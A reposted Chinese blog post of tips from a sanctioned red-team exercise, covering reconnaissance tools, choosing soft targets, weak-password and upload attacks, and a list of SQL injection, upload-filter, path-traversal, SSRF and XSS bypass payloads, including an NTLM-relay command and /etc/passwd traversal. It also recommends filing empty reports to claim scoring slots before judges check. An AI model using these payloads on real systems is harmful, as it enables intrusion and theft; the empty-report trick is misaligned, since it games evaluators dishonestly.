小弟也第一次参加hw,经过5天hw,确实也学到了许多的东西,但就本次分享而言,我分享一些我认为在hw里面值得注意的东西以及一些小技巧

0x01 信息收集

信息收集这个多西当然都是老生常谈了,你收集的东西越多,能打的方向也就越多,当然,hw给你打的资源的格式一般为单位名称,系统名称,域名,IP地址。当然,其他的资源可能都大同小异。

网上都有很多信息收集的东西,都是那一套,扫端口,找子域名,看站有没有泄露什么东西,什么敏感文件,看网站的框架。现在,我就先给大家梳理一下。

信息收集的本质有2个,一是把现有的资源扩大,能给我们多一些渗透的方向。二是了解渗透目标,是我们的exp能够精准有效的打击。

如何把资源扩大?

比如给的目标:单位名称:xxx市学校,域名:www.abc.com ip:123.123.123.123(有的要给端口)

首先从单位名称入手,进入fofa或者其他搜收平台,title="xxx市学校"

然后是域名,域名建议用挖掘机或者subDomainsBrute.py

ip的话就是扫端口,外网建议用masscan,内网的话建议用nbtscan。

如何了解我们的渗透目标

推荐几款google的插件,第一款wappalyzer.

当然,这款插件也不一定检查的全,但是还是能检查出大部分的,有些框架你要进入网站的一些目录才会检查出来,例如进入后台登录界面,一些文章分类的界面。

当然还有一些小众的用法,就这一次,我们团队进了一个学校oa的后台,弱口令进的,但是那个后台没有上传,注入各类参数也没有测出来,然后在登陆界面上面写的是鹏达内网校园系统,但是进去就没有任何信息,然后就在网上找exp,没想到在cnvd上找到了注入,队友们真的好顶啊。

第二款shodan

这个可以探测端口,有些时候能探测出漏洞,就比如这次hw,我探测出来了心脏滴血,虽然最后没用用上

然后是扫目录和找后台的,扫目录的我推荐dirsearch.py和御剑,找后台的我推荐test404轻量级后台扫描器。

当然,以来我们可以先不扫,可以找一些敏感的文件后者后台,常见的敏感文件phpinfo,robots.txt.

phpinfo的话可以看看绝对路径,网上也有几篇讲了phpinfo可以getshell,但我遇到了很多phpinfo没有get到一个,不过有一次倒是遇到了phpstudy的后门,秒了一次。

robots.txt看的话也基本上是disallow,然后啥也没有了,但是还是看一看,万一有惊喜呢。

有一个网站可以在线探测,还挺不错的,https://scan.top15.cn/web/infoleak

但是其他功能就比较拉跨,哈哈哈哈。

后台的话可以手动先找一下,admin,login,manager,或者比如成都市阿鑫鑫鑫鑫哥哥公司,www.abc.com/axxxxgg/admin,这样先探测一下,再扫,效果会更好一点。

信息收集的话我们还是在每一个资源上都测一下域传输漏洞,如果真有,那岂不美滋滋?

0x02 目标选择

hw其实就只有这么几天时间,选择一个好的目标,我们能够在有限的时间内,更容易拿分。

优先选择学校>化工&&交通&&能源&&论坛&&各类企业>医院&&银行&&电信(运营商搭建的)

为什么这样选,因为高校的资源多,有OA系统,教务,学生平台,广播系统,新闻发布中心,乱七八糟的,都可以打,并且,高校的防御相对于没有那么森严,而且,也容易社工,比如xxx市职业学校,在qq上收一下什么xxxx市职业学校兼职群,xxxx市职业学校新生群,学号大把大把的有,其他的系统哪儿有那么容易。

然后再说说为什么把医院银行,电信这三个放最后,首先是医院,如果真的拿下一个his的内网权限,真的对这个医院,或者是这个地级市造成不可估量的损失。所以防护肯定是拉满的,第二,资源少啊,一个医院,除了域名,oa系统,基本上你找不到其他资源了,并且一些敏感的目录动不动就500,怎么玩?银行也同理,所以,我们要想拿下,真就看运维,或者手上的day。

中间的话,资源略少于学校,网站的防护也略低于医院银行。

0x03 拿shell(得分)

1.如果运气好,什么tp,joomla的框架,网上有exp,直接秒掉,这是最好的。

2.弱口令,永远的神,admin admin admin admin123 admin 123456 先打一波,然后在合理的爆破,先不说拿不拿的下,当我们那一个弱口令,就用50-100的分,并且有很多口子,都是弱口令进入后台,拿下shell的。

3.上传,上传成功就shell,还是很粗暴的,如果是黑名单,想办法绕,网上有很多思路的,白名单看是否存在解析,没有的话直接pass

4.各类未授权

什么redis,mongodb,扫了端口都先测一波,未授权的分虽然低,但是还是很多,不管是外网或者内网,特别是在内网打不动的时候,找一找未授权,形形色色的内网系统各类未授权的分真的相当于几台服务器了。

5.注入

注入的话现在越来越难利用了,因为注入曾经太猛了,mysql的话基本上是读读数据,读出数据进入后台拿下shell,mssql还好一些,运气好的话--os-shell直接cs上线,不支持堆叠注入的话吐司有一篇文章讲的就是不支持堆叠注入getshell。

6.xss,钓鱼

需要时间。

7.其他漏洞

xxe,ssrf,csrf等漏洞,真的遇到都算是不错了。

0x04 hw测试的地方和一些另类小技巧

1.对于java的框架真的要很敏感,常见的st2,jboss反序列化,shiro反序列化。

2.看站的时候可以用xray,真的有用,这次hw找了3个注入,给长亭打钱

3.当资源共享出来的时候,找到了什么弱口令,未授权,先交报告,然后在编辑,因为裁判要复现打一到,可能还要玩手机,所以不用担心交了报告马上就会审核,所以我们可以先交报告,站一个坑位,然后在编辑,因为当资源共享的时候,一个弱口令都是香饽饽,大家都会交,所以我们先交站坑位,如果裁判马上审,就是,哎哟,交快了,交了一个空报告,不好意思。

4.当资源没有共享的时候,报告经量交一个完整的,就是外网打点进入,打穿内网,直接把这个资源的分恰满,但是资源共享的时候还是找了一个交一个,除非很有自信,其他队找不到。

0x05 分享一些东西

(1)sql注入和逻辑漏洞

1.注册账号的时候:账号admin空格空格空格空格空格空格 密码随意。登陆的时候会把空格解析掉,变成真正的admin。

2.如若只能上传图片的时候,可以把图片名修改,造成二次注入.

3.?x=1-if(user() like 'x%25',0,1)这条payload放入burpsuit,然后给x加入payload,大小写加上,处数据。

4.好好利用bp与sql注入,可以更改包的格式,get改为Post,然后在输入payload。

5.我们在用bp抓包是,我们可以将x-forward改为127.0.0.1,它可能对本地的包不过滤

6.比如一个页面存在sql注入,但是可能会被拦截,我们可以尝试在url里头构造admin,install,等白名单词汇来绕过

7.垃圾数据注入,如果是post型,就把垃圾数据放在需要注入的参数后面,如果是get型,就把他变成Post型,在放垃圾数据

8.在后台,我们的账号权限不够,可以修改密码,将refer和Post里的参数改为管理员的账号已引发逻辑漏洞

(2)信息收集篇

1.如若存在git文件,.git文件可以用来恢复源代码

2.ds_store可以用python的exp打

3..svn文件

4.如若扫到敏感文件,但是却没有权限访问,列如http://localhost:8080/urltest/info/secret.jsp此页面

1.http://localhost:8080/urltest/./info/secret.jsp

2.http://localhost:8080/urltest/;xinxin/info/secret.jsp

3.http://localhost:8080/urltest/xinxin/../info/secret.jsp //都可以尝试一下

5.如果存在swp文件,是vim的文件,我们可以用vim -r来恢复,说不定能看到一些yd的东西

(3)上传篇

1.如若不存在白名单限制,但就是上传不了,可以改为csproj这个后缀,再上传php,包含csproj即可

常见的假后缀,phtml

2.如若存在某种白名单限制,我们可以借助环境变量绕过,列如

无法上传dll文件,我们可以将dll的后缀改为php,然后用sql查询hex值

select hex(load_file('F:/phpstudy/phpstudy/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/1.php'));

然后再用php语法转化为dll二进制文件

3.基于Content-Type,除了常见的application/xml,application/json,multipart/form-data

还有就是application/vnd.php.serialized,将CT改为application/vnd.php.serialized

(4)其他

1.如果能上传swf,也可以根据swf构造xss的payload

2.可以利用xss拿ntml

python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt target.txt是ip地址

<script src="\\\\10.0.0.7\\smbrelay"><br> 3.如用xss拿下cookie,但是登陆以后是静态的,我们就得想到同源策略,设置document.cookie来共享cookie.<br> 4.ssrf利用可以将ip转化为8进制。 //此外,八进制前面可以+0,可以加1-3个<br> 5.也可以将https:// 这2个//去掉<br> 6.重定向,<a href="https://www.baidu.com@127.0.0.1">https://www.baidu.com@127.0.0.1</a> //@可以变为#和?<br> 7.如若无法访问,可以尝试加上端口,加一个80<br> 8.平时用bp抓包,对cookie以及session这2个字段敏感一点,修改一下参数说不定可以造成任意用户浏览<br> 9.网页URL里头存在啥子action=,或者啥子单一的参数等于,可以搞啊一哈action=../../etc/passwd 可以用bp抓包,看到他的一些文件和路径<br> 10.如果用bp抓包,发现有command参数,我们可以试试cat+/etc/version看信息,根据版本来说

原文链接

hw小技巧(转载)的更多相关文章

  1. GJM : Unity3D - UI - UI边缘流光特效小技巧 [转载]

    感谢您的阅读.喜欢的.有用的就请大哥大嫂们高抬贵手"推荐一下"吧!你的精神支持是博主强大的写作动力以及转载收藏动力.欢迎转载! 版权声明:本文原创发表于 [请点击连接前往] ,未经 ...

  2. python debug小技巧&&工程能力的几点建议

    Debug小技巧: 转载请声明本文的引用出处:仰望大牛的小清新 1.初次编程时,在每一个if后面都写上else,这样,如果你的else原本是不应该运行的,那么就可以在else中输出此时的状态信息便于排 ...

  3. [转载]Js小技巧||给input type=“password”的输入框赋默认值

    http://www.cnblogs.com/Raywang80s/archive/2012/12/06/2804459.html [转载]Js小技巧||给input type="passw ...

  4. 【转载】PHP 开发者该知道的 5 个 Composer 小技巧

    Composer是新一代的PHP依赖管理工具.其介绍和基本用法可以看这篇<Composer PHP依赖管理的新时代>.本文介绍使用Composer的五个小技巧,希望能给你的PHP开发带来方 ...

  5. 【转载】Intellij IDEA神器居然还有这些小技巧

    概述Intellij IDEA真是越用越觉得它强大,它总是在我们写代码的时候,不时给我们来个小惊喜.出于对Intellij IDEA的喜爱,我决定写一个与其相关的专栏或者系列,把一些好用的Intell ...

  6. [转载 java 技术栈] eclipse 阅读跟踪 Java 源码的几个小技巧!

    本文基于Eclipse IDE,我们每天都使用的IDE其实提供了很多强大的功能,掌握它们,往往能够事半功倍. 1.Quick Type Hierarchy 快速查看类继承体系. 快捷键:Ctrl + ...

  7. (转载) TextView使用一些小技巧

    TextView使用一些小技巧 标签: textviewandroid开发 2015-10-09 16:13 810人阅读 评论(0) 收藏 举报  分类: Android(20)  本文主要讲一些T ...

  8. 最强 Android Studio 使用小技巧和快捷键

    写在前面 本文翻译自 Android Studio Tips by Philippe Breault,一共收集了62个 Android Studio 使用小技巧和快捷键. 根据这些小技巧的使用场景,本 ...

  9. 一些Python的惯用法和小技巧:Pythonic

    Pythonic其实是个模糊的含义,没有确定的解释.网上也没有过多关于Pythonic的说明,我个人的理解是更加Python,更符合Python的行为习惯.本文主要是说明一些Python的惯用法和小技 ...

随机推荐

  1. Nginx进阶使用-负载均衡原理及配置实例

    介绍 跨多个应用程序实例的负载平衡是一种用于优化资源利用率,最大化吞吐量,减少延迟和确保容错配置的常用技术.可以将Nginx用作非常有效的HTTP负载平衡器,以将流量分配到多个应用程序服务器,并使用N ...

  2. MySQL数据库中查询数据库表、字段总数量,查询数据总量

    最近要查询一些数据库的基本情况,由于以前用oracle数据库比较多,现在换了MySQL数据库,就整理了一部分语句记录下来. 1.查询数据库表数量 #查询MySQL服务中数据库表数据量 SELECT C ...

  3. 牛客网数据库SQL实战解析(41-50题)

    牛客网SQL刷题地址: https://www.nowcoder.com/ta/sql?page=0 牛客网数据库SQL实战解析(01-10题): https://blog.csdn.net/u010 ...

  4. 消息型中间件之RabbitMQ集群

    在上一篇博客中我们简单的介绍了下rabbitmq简介,安装配置相关指令的说明以及rabbitmqctl的相关子命令的说明:回顾请参考https://www.cnblogs.com/qiuhom-187 ...

  5. Vue | 自定义指令和动态路由实现权限控制

    功能概述: 根据后端返回接口,实现路由动态显示 实现按钮(HTML元素)级别权限控制 涉及知识点: 路由守卫 Vuex使用 Vue自定义指令 导航守卫 前端工程采用Github开源项目Vue-elem ...

  6. Labview学习之路(一)程序框图中的修饰

    很多小伙伴知道在前面板有很多修饰符,比如上凸框,加粗下凹框等等,但是其实在程序框图中也是有修饰符的,他的位置比较隐蔽,并且修饰符很少,所以很多人基本没有用过.现在就给大家介绍一些这些程序框图种的修饰. ...

  7. USB Key

    随着互联网和电子商务的发展,USB Key作为网络用户身份识别和数据保护的“电子钥匙”,正在被越来越多的用户所认识和使用.本文对USB Key的产生和未来的发展趋势作了一个简单的介绍. 目前市场上见到 ...

  8. unity 对Animator动画系统的研究

    unity的新动画系统叫Mecanim,使用Animator来取代旧系统Animation,按Unity文档的惯例:知识点主要分2部分:unity manual和unity script,读者可以边看 ...

  9. Selenium文件上传问题

     

  10. Dos简易基础及常用Dos命令

    Dos简易基础及常用Dos命令 什么是cmd? cmd是command的缩写,意指操作系统中的命令行程序,一般说的都是Windows中的Dos系统. 如何打开cmd? 键盘操作:Win + R 输入c ...